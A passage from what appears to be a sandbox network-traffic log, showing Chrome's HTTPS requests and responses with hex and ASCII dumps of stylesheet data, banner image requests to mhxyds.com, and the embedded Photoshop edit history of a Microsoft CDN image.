auto}.no-pointerevents .is-editor .ov

2022-08-11 03:42:40 UTC 306 IN Data Raw: 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 
66 74 7d 2e 73 65 63 74 69 6f 6e 2d 73 75 62 73 63 72 69 62 65 20 2e 73 63 66 46 6f 72 6d 20 2e 66 6f 72 6d 2d 67 72 6f 
75 70 20 2e 68 65 6c 70 2d 62 6c 6f 63 6b 20 2e 66 69 65 6c 64 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 65 72 72 6f 72 7b 66 
6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 73 65 63 74 69 6f 6e 2d 73 75 62 73 63 72 69 62 65 20 2e 73 63 66 46 6f 
72 6d 20 2e 62 74 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 63 34 
65 38 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 31 70 78 7d 2e 73 65 63 74 69 6f 6e 2d 7
3 75 62 73 63 72 69 62 65 20 2e 73 63 66 46 6f 72 6d 20 2e 62 74 
Data Ascii: eight:100%;width:100%;text-align:left}.section-subscribe .scfForm .form-group .help-block .field-validation-
error{font-size:14px}.section-subscribe .scfForm .btn{color:#fff;background-color:#1c4e80;border:0;margin-left:-1px}.sec
tion-subscribe .scfForm .bt

2022-08-11 03:42:40 UTC 322 IN Data Raw: 65 63 74 69 6f 6e 2d 62 67 2d 69 6d 61 67 65 20 2e 6d 6f 64 75 6c 65 2d 69 6e 6e 65 72 20 2e 6d 6f 64 75 6c 
65 2d 62 67 2d 69 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 30 3b 
74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 73 65 63 74 69 6f 6e 2d 63 61 72 6f 75 73 65 
6c 20 2e 73 65 63 74 69 6f 6e 2d 62 67 2d 69 6d 61 67 65 20 2e 6d 6f 64 75 6c 65 2d 69 6e 6e 65 72 20 2e 6d 6f 64 75 
6c 65 2d 62 67 2d 69 6e 6e 65 72 20 69 6d 67 7b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 
28 30 2c 2d 35 30 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 30 2c 2d 35 30 70 78 29 7d 
40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 
Data Ascii: ection-bg-image .module-inner .module-bg-inner{position:absolute;z-index:0;top:0;left:0;width:100%}.section-
carousel .section-bg-image .module-inner .module-bg-inner img{-ms-transform:translate(0,-50px);transform:translate(0,-50
px)}@media (min-width:992px

2022-08-11 03:42:40 UTC 339 IN Data Raw: 6f 72 64 69 6f 6e 2d 70 61 6e 65 6c 2b 2e 61 63 63 6f 72 64 69 6f 6e 2d 70 61 6e 65 6c 20 2e 61 63 63 6f 72 
64 69 6f 6e 2d 74 6f 67 67 6c 65 2c 2e 61 63 63 6f 72 64 69 6f 6e 2d 6c 67 20 2e 74 61 62 2d 70 61 6e 65 2b 2e 74 61 62 
2d 70 61 6e 65 20 2e 61 63 63 6f 72 64 69 6f 6e 2d 74 6f 67 67 6c 65 2c 2e 61 63 63 6f 72 64 69 6f 6e 2d 6c 67 20 2e 74 
72 2d 65 78 74 72 61 73 2b 2e 61 63 63 6f 72 64 69 6f 6e 2d 70 61 6e 65 6c 20 2e 61 63 63 6f 72 64 69 6f 6e 2d 74 6f 67 
67 6c 65 2c 2e 61 63 63 6f 72 64 69 6f 6e 2d 6c 67 20 2e 74 72 2d 74 79 70 65 2b 2e 61 63 63 6f 72 64 69 6f 6e 2d 70 61 
6e 65 6c 20 2e 61 63 63 6f 72 64 69 6f 6e 2d 74 6f 67 67 6c 65 2c 2e 61 63 63 6f 72 64 69 6f 6e 2d 6c 67 2b 2e 61 63 63 
6f 72 64 69 6f 6e 2d 6c 67 20 2e 61 63 63 6f 72 64 69 6f 
Data Ascii: ordion-panel+.accordion-panel .accordion-toggle,.accordion-lg .tab-pane+.tab-pane .accordion-toggle,.accordi
on-lg .tr-extras+.accordion-panel .accordion-toggle,.accordion-lg .tr-type+.accordion-panel .accordion-toggle,.accordion-
lg+.accordion-lg .accordio

2022-08-11 03:42:40 UTC 355 IN Data Raw: 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 2e 31 35 73 2c 62 6f 78 2d 73 
68 61 64 6f 77 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 2e 31 35 73 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 
69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 3b 63 6f 6c 6f 72 3a 23 33 38 33 38 33 38 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 
63 6b 7d 2e 73 63 66 46 6f 72 6d 20 2e 66 6f 72 6d 2d 67 72 6f 75 70 20 2e 72 6f 77 2c 2e 73 63 66 46 6f 72 6d 20 2e 66 
6f 72 6d 2d 67 72 6f 75 70 20 2e 72 6f 77 20 64 69 76 2c 2e 73 63 66 46 6f 72 6d 20 66 69 65 6c 64 73 65 74 20 2e 72 6f 
77 2c 2e 73 63 66 46 6f 72 6d 20 66 69 65 6c 64 73 65 74 20 2e 72 6f 77 20 64 69 76 7b 6d 61 72 67 69 6e 2d 6c 65 66 
74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 3b 70 61 
Data Ascii: :border-color ease-in-out .15s,box-shadow ease-in-out .15s;font-size:16px;line-height:1.4;color:#383838;disp
lay:block}.scfForm .form-group .row,.scfForm .form-group .row div,.scfForm fieldset .row,.scfForm fieldset .row div{margin-
left:0;margin-right:0;pa

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

150 192.168.11.20 55168 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:54 UTC 2115 OUT GET /~/media/perpetual/images/hero-sp-banners/webinar-banner-1-1665-x-550.ashx?w=2200&hash=CC192888C
22F1629AD546396726254CA71C13731 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

151 192.168.11.20 61867 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2116 OUT GET /jpg/hero%20peicc2c4.jpg?mw=285&hash=3E47FCE246A72FBA35DB1562D6F9DD053E0F5355 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

152 192.168.11.20 49794 2.16.241.7 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 2116 OUT GET /cms/api/am/imageFileData/RE4RGu6?ver=d4cf HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.
102 Safari/537.36 Edge/18.19042
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-08-11 03:42:55 UTC 2166 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4RGu6?ver=d4cf
Last-Modified: Tue, 09 Aug 2022 09:39:01 GMT
X-Source-Length: 1844148
X-Datacenter: northeu
X-ActivityId: f84ada92-1317-4cd6-a54c-076929ff0a82
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1844148
Cache-Control: public, max-age=280569
Expires: Sun, 14 Aug 2022 09:39:04 GMT
Date: Thu, 11 Aug 2022 03:42:55 GMT
Connection: close

2022-08-11 03:42:55 UTC 2167 IN Data Raw: ff d8 ff e1 1e 10 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 31 3a 31 36 20 31 35 3a 34 30 3a 35 35 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:01:16 15:40:558"

2022-08-11 03:42:55 UTC 2214 IN Data Raw: d2 b3 1d 87 78 c8 b8 0b 2d bd d0 c0 5d a3 60 6d f4 e9 dd f4 19 ef f4 6c b5 bf f5 8f f4 ab a6 e9 17 36 f7 ba dd 
cd 6d fc d8 fb eb 7e ea d8 e3 ba cf 42 aa dc da 58 c7 32 9f 4f d8 ff 00 52 cd 9e a5 9f be 94 bb 1d b4 09 d1 7e a3 8d 99 9f 
8b 4b 2a 86 b6 36 10 c7 31 c5 ad 8d fe 9d 5e 99 77 e9 37 d7 ef f5 3e d3 bd 73 fd 53 10 61 3c 7a 22 c0 d7 70 6c 78 dc 64 
fb 9c c7 37 f3 1e ef cc f4 fd ff 00 4d 6d d6 19 93 99 61 c4 b9 b9 24 3f da ea 5d b1 80 46 c6 fb 00 db 55 9a 31 f7 b2 bf 56 df 
f4 69 75 4c 47 62 d4 e6 5f 8f b2 bf 49 cc 0f f7 35 b0 7f 9b 6f a8 ef 51 ef 7e d6 b3 23 1f d5 7f d0 ff 00 05 e9 a6 0b 8d 79 eb 
f5 43 8d d3 7a 9d 54 97 53 6f e8 0d d6 4b 6d bf 75 b5 b0 00 e3 b5 94 b6 1d 6d f7 bc 6c aa df e6 d9 ff 00 07 fc f2 d4 ea 77 
d1 4f a3 f6 8b 9b 9f 65 9e eb fd 27 
Data Ascii: x-]`ml6m~BX2OR~K*61^w7>sSa<z"plxd7Mma$?]FU1ViuLGb_I5oQ~#yCzTSoKmumlwOe'
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2022-08-11 03:42:55 UTC 2230 IN Data Raw: 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 4f 6c 
79 6d 70 69 63 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 
5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 30 54 31 35 3a 
32 36 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 
42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 34 39 31 34 39 35 37 5f 31 39 32 3
0 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 
Data Ascii: \Users\v-lizagh\MS\Windows10\Bing-Olympics\Chosen\Crops\Lockscreen_1920x1080_Landscape.psd 
saved&#xA;2016-07-20T15:26:36-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing-Olympics\Chosen\Crops\Bing-
Olympics_GettyImages-184914957_1920x1080.psd saved&#xA;2

2022-08-11 03:42:55 UTC 2348 IN Data Raw: 39 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 
32 36 54 31 30 3a 34 33 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 
73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 35 33 36 35 30 36 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 7
0 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 36 3a 30 32 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 
Data Ascii: 94_1920x1080.jpg saved&#xA;2016-07-26T10:43:49-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\
_Crops\Edge-Lifestyle_GettyImages-595365067_1920x1080.jpg saved&#xA;2016-07-26T10:46:02-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifest

2022-08-11 03:42:55 UTC 2380 IN Data Raw: 44 33 32 38 36 43 38 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 
3a 34 31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 7
2 6f 70 73 5c 53 55 52 31 35 5f 50 65 6e 5f 30 31 5f 52 44 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 2
6 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 34 32 3a 30 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 
5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 
Data Ascii: D3286C8.psb saved&#xA;2016-08-31T13:41:01-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Surface\Ju
an\SurfacePen\Crops\SUR15_Pen_01_RD_1920x1080.jpg saved&#xA;2016-08-31T13:42:05-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Surface\Juan\SurfacePen\Crops\S

2022-08-11 03:42:55 UTC 2396 IN Data Raw: 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 
32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 36 2d 31 30 2d 31 34 54 31 34 3a 34 33 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 49 6e 73 69 64 65 72 45 76 65 6e 7
4 5c 49 6e 73 69 64 65 72 45 76 65 6e 74 5f 49 6e 76 69 74 61 74 69 6f 6e 5f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2d 46 4
9 4e 41 4c 2d 4e 4f 48 45 41 44 4c 49 4e 45 2e 6a 70 67 20 73 61 
Data Ascii: Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C3
0DE643DF5B579.psb saved&#xA;2016-10-14T14:43:26-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Inside
rEvent\InsiderEvent_Invitation_illustration-FINAL-NOHEADLINE.jpg sa

2022-08-11 03:42:55 UTC 2440 IN Data Raw: 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 
43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 
30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 
46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 30 54 31 35 3a 31 34 3a 34 
34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 
Data Ascii: :17-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_
Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-20T15:14:44-08:
00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_192

2022-08-11 03:42:55 UTC 2511 IN Data Raw: 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 
63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 
44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 
31 2d 32 33 54 31 36 3a 33 34 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 
30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 37 54 30 38 
3a 35 35 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
Data Ascii: hotoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643D
F5B579.psb saved&#xA;2017-01-23T16:34:07-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_19
20x1080_Landscape.psd saved&#xA;2017-01-27T08:55:33-08:00&#x9;File 

2022-08-11 03:42:55 UTC 2657 IN Data Raw: 43 72 6f 70 73 5c 4d 49 54 2d 50 72 65 73 69 64 65 6e 74 73 44 61 79 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 
5f 31 35 38 31 38 37 34 31 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 
2d 30 32 2d 30 32 54 31 34 3a 30 32 3a 35 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 
6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 50 72 65 73 69 
64 65 6e 74 73 44 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 39 31 30 34 36 30 30 33 5f 31 39 32 30 78 31 30 38 3
0 38 31 42 32 33 34 35 44 38 38 31 36 42 45 39 34 30 37 32 41 33 
Data Ascii: Crops\MIT-PresidentsDay_shutterstock_158187410_1920x1080.jpg saved&#xA;2017-02-02T14:02:54-
08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-President
sDay_GettyImages-691046003_1920x108081B2345D8816BE94072A3

2022-08-11 03:42:55 UTC 2710 IN Data Raw: 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 30 37 3a 32 38 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5
c 41 70 72 69 6c 5c 4d 6f 76 69 65 73 54 56 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 
41 70 72 69 6c 5f 35 30 30 70 78 2d 31 31 34 32 32 30 36 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 
65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 30 37 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 
Data Ascii: psd saved&#xA;2017-03-14T12:07:28-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Spri
ngEntertainment\April\MoviesTV\CHOSEN\MIT-SpringEntmnt-April_500px-114220663_1920x1080.jpg saved&#xA;2017-
03-14T12:07:34-07:00&#x9;File C:\Users\v-lizagh\App
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2022-08-11 03:42:55 UTC 2726 IN Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 31 37 33 38 30 39 39 35 30 5f 31 39 32 30 78 31 30 38 30 5f 77 74 72 6d 72 
6b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 36 3a 34 32 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 
73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 
74 74 79 49 6d 61 67 65 73 2d 31 34 39 38 37 35 31 33 31 5f 31 39 32 30 78 31 30 38 30 5f 77 74 72 6d 72 6b 2e 6a 70 6
7 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 39 3a 34 37 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
Data Ascii: ettyImages-173809950_1920x1080_wtrmrk.jpg saved&#xA;2017-04-12T15:56:42-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-149875131_1920x1080_wtrmrk.jpg sav
ed&#xA;2017-04-12T15:59:47-07:00&#x9;File C:\Users\v-liza

2022-08-11 03:42:55 UTC 2782 IN Data Raw: 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 36 54 31 30 3a 35 
37 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 
70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 
32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 37 38 33 32 30 30 37 34 5f 31 39 32 30 78 31 30 38 30 30 32 39 36 46 46 34 37 43 38 44 46 39 38 36 45 
42 38 45 35 34 39 39 34 31 46 44 38 43 31 30 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 
32 36 54 31 31 3a 31 34 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 
Data Ascii: x1080.jpg saved&#xA;2017-04-26T10:57:51-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Ado
be Photoshop CC 2017\AutoRecover\_WindowsInsider_GettyImages-78320074_1920x10800296FF47C8DF986EB8E54
9941FD8C10B.psb saved&#xA;2017-04-26T11:14:28-07:00&#x9;F

2022-08-11 03:42:55 UTC 2829 IN Data Raw: 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 
70 73 5c 4c 69 6e 6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 39 36 31 36 37 32 38 31 5f 31 39 32 30 78 
31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 35 36 3a 30 32 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 
61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 
41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 
Data Ascii: :00&#x9;File C:\Users\v-lizagh\MS\Windows10\MattRequest\LinkedIn\CHOSEN\Crops\LinkedIn_GettyImages-
696167281_1920x1080.jpg saved&#xA;2017-05-15T15:56:02-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\
Adobe Photoshop CC 2017\AutoRecover\_Lockscreen

2022-08-11 03:42:55 UTC 2877 IN Data Raw: 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 32 3a 31 39 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 
69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 33 36 35 2d 47 65 6e 65 72 
